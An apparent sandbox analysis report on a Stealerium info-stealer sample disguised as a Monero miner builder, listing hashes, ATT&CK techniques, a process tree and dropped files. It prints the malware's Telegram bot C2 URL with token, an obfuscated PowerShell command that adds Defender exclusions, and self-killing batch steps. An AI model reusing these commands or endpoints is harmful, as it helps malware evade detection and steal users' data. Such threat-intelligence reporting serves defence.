stealerium | 33192e2c62761c054586d32d3a36a37f02dc6294e0326abd252e819efeb736bc

General

Target

SilentXMRMinerBuilder.exe
Size

44.7MB
MD5

9706c540dd26ade6bf85b4bbcb9f483a
SHA1

f088af13fa12f99e41f748939dfeaece88546480
SHA256

33192e2c62761c054586d32d3a36a37f02dc6294e0326abd252e819efeb736bc
SHA512

83b4abc06b99f6fd4ec15974273e8e8490819c9feff061232e147214c8a786995e14368e1ded1ca9268a6776a6b8e6acb4454f3b0d20834c11e4d36d95d470b8
SSDEEP

786432:VO8Zj0154/RAKyX4oW4SrV6cfvmKaEYxfmTTHQc7p+guPGMB78NWGm0aLMtxx790:NZwOZYX4b4SrtfeKhY9p6EvGMB78oGm4

Score

10^/10

stealerium defense_evasion discovery stealer

Malware Config

Extracted

Family

stealerium

C2

https://api.telegram.org/bot7665465643:AAHovJK8wV9ZYD10sdy6ONMxUF7l77R6hlE/sendMessage?chat_id=

Attributes

email
[email protected]
url
https://szurubooru.zulipchat.com/api/v1/messages

Signatures

Stealerium
An open source info stealer written in C# first seen in May 2022.
stealer stealerium
Stealerium family
stealerium

Executes dropped EXE 2 IoCs

pid	Process
2852	Silent XMR Miner Builder.exe
2720	build.exe

Loads dropped DLL 2 IoCs

pid	Process
2704	SilentXMRMinerBuilder.exe
2704	SilentXMRMinerBuilder.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 6 IoCs

Web Service

T1102

flow	ioc
9	raw.githubusercontent.com
10	raw.githubusercontent.com
11	raw.githubusercontent.com
4	raw.githubusercontent.com
5	raw.githubusercontent.com
8	raw.githubusercontent.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	SilentXMRMinerBuilder.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
1928	timeout.exe

Kills process with taskkill 1 IoCs

defense_evasion

pid	Process
1380	taskkill.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2684	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2684	powershell.exe
Token: SeDebugPrivilege	2720	build.exe
Token: SeDebugPrivilege	1380	taskkill.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 2704 wrote to memory of 2684	2704	SilentXMRMinerBuilder.exe	30
PID 2704 wrote to memory of 2684	2704	SilentXMRMinerBuilder.exe	30
PID 2704 wrote to memory of 2684	2704	SilentXMRMinerBuilder.exe	30
PID 2704 wrote to memory of 2684	2704	SilentXMRMinerBuilder.exe	30
PID 2704 wrote to memory of 2852	2704	SilentXMRMinerBuilder.exe	32
PID 2704 wrote to memory of 2852	2704	SilentXMRMinerBuilder.exe	32
PID 2704 wrote to memory of 2852	2704	SilentXMRMinerBuilder.exe	32
PID 2704 wrote to memory of 2852	2704	SilentXMRMinerBuilder.exe	32
PID 2704 wrote to memory of 2720	2704	SilentXMRMinerBuilder.exe	33
PID 2704 wrote to memory of 2720	2704	SilentXMRMinerBuilder.exe	33
PID 2704 wrote to memory of 2720	2704	SilentXMRMinerBuilder.exe	33
PID 2704 wrote to memory of 2720	2704	SilentXMRMinerBuilder.exe	33
PID 2720 wrote to memory of 2208	2720	build.exe	35
PID 2720 wrote to memory of 2208	2720	build.exe	35
PID 2720 wrote to memory of 2208	2720	build.exe	35
PID 2208 wrote to memory of 2040	2208	cmd.exe	37
PID 2208 wrote to memory of 2040	2208	cmd.exe	37
PID 2208 wrote to memory of 2040	2208	cmd.exe	37
PID 2208 wrote to memory of 1380	2208	cmd.exe	38
PID 2208 wrote to memory of 1380	2208	cmd.exe	38
PID 2208 wrote to memory of 1380	2208	cmd.exe	38
PID 2208 wrote to memory of 1928	2208	cmd.exe	39
PID 2208 wrote to memory of 1928	2208	cmd.exe	39
PID 2208 wrote to memory of 1928	2208	cmd.exe	39

C:\Users\Admin\AppData\Local\Temp\SilentXMRMinerBuilder.exe
"C:\Users\Admin\AppData\Local\Temp\SilentXMRMinerBuilder.exe"
1⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2704
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHoAZgB1ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAdgBhACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGgAaQBrACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGcAaQBuACMAPgA="
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2684
- C:\Users\Admin\AppData\Local\Temp\Silent XMR Miner Builder.exe
  "C:\Users\Admin\AppData\Local\Temp\Silent XMR Miner Builder.exe"
  2⤵
  - Executes dropped EXE
  PID:2852
- C:\Users\Admin\AppData\Local\Temp\build.exe
  "C:\Users\Admin\AppData\Local\Temp\build.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2720
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\d209d0f1-57a8-4577-b7cc-dde954bec2c2.bat"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2208
  - - C:\Windows\system32\chcp.com
      chcp 65001
      4⤵
      PID:2040
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /PID 2720
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1380
  - - C:\Windows\system32\timeout.exe
      timeout /T 2 /NOBREAK
      4⤵
      Delays execution with timeout.exe
      PID:1928

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Obfuscated Files or Information

1

T1027

Command Obfuscation

1

T1027.010

Credential Access

Discovery

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\Cab12D7.tmp

Filesize
70KB

MD5
49aebf8cbd62d92ac215b2923fb1b9f5

SHA1
1723be06719828dda65ad804298d0431f6aff976

SHA256
b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

SHA512
bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

Download Submit
C:\Users\Admin\AppData\Local\Temp\Silent XMR Miner Builder.exe

Filesize
38.2MB

MD5
5d7c1b7e0dfc268c1d7fd78ee0d74c71

SHA1
71f9d9872c4aec12556a885542ffdcae3f11f693

SHA256
afb19f7e92067a16800054daf6599d1a9cfcb647e322760e6c542b1cdf8ece67

SHA512
d899defc62d7378b647a6b84e2e14d872deec142947c07531954544543882b5ba41b80d08c026a49cadc1e17d9267ddaf44ab0d9ce5fdeb9c10846e4c99d3821

Download Submit
C:\Users\Admin\AppData\Local\Temp\Stealerium-Latest.log

Filesize
2KB

MD5
b1cc54e20450b19b274ed4fc93810eb7

SHA1
258d872cc407e3750d11641f82dcdec60cc7023f

SHA256
f21475dd7b2766a1be75e1ddaed3f831a7d04da294ca5e2263c4ae569c9bf0b7

SHA512
7116614884fecf63fe8fe889f85fb4c30677c815109fcaf05595ebaee4ae5b16b52dd2a53d6aab69c710ef6d424a6123c2f356fb5258d3f71672721235e18446

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar12EA.tmp

Filesize
181KB

MD5
4ea6026cf93ec6338144661bf1202cd1

SHA1
a1dec9044f750ad887935a01430bf49322fbdcb7

SHA256
8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

SHA512
6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

Download Submit
C:\Users\Admin\AppData\Local\Temp\d209d0f1-57a8-4577-b7cc-dde954bec2c2.bat

Filesize
152B

MD5
95c140ffbb329fab75b50b336f077e6d

SHA1
c06247e488a29b499f991dc6ae9237b628e449bd

SHA256
d46cdfa022b016cde16ced60c17d231d852eb4e5fb73c86f787eecfc1abc4988

SHA512
a299e67c43d0b6aaf73eab3bc908be72aa7cc2470059a30aaa46bfbf2d3183a81f288180c0952a0cfd3ed21ffde2971ff7fb1a479558abd3b95e8a03e6f8f479

Download Submit
\Users\Admin\AppData\Local\Temp\build.exe

Filesize
6.1MB

MD5
5abc4b2b91501f14bd9296f80d20539c

SHA1
b6c26f07cecb8d51e0d41808bb951ee399396a71

SHA256
600a124a4277f1d7e1e645ec63dee9c17ce30bb0b417a96d7875a6dfe903ffdf

SHA512
2f9535e4cbcb88b3d5b25632e20be1511b139acd5e89a227c8c61cb5750b2a99a6aacf6e4b584a5ff5a89f30991625f4441b833da0929d8d2eb514e730024b42

Download Submit
memory/2720-14-0x0000000000AE0000-0x00000000010F8000-memory.dmp

Filesize
6.1MB

Download
memory/2852-15-0x0000000001070000-0x00000000036B6000-memory.dmp

Filesize
38.3MB

Download

Analysis

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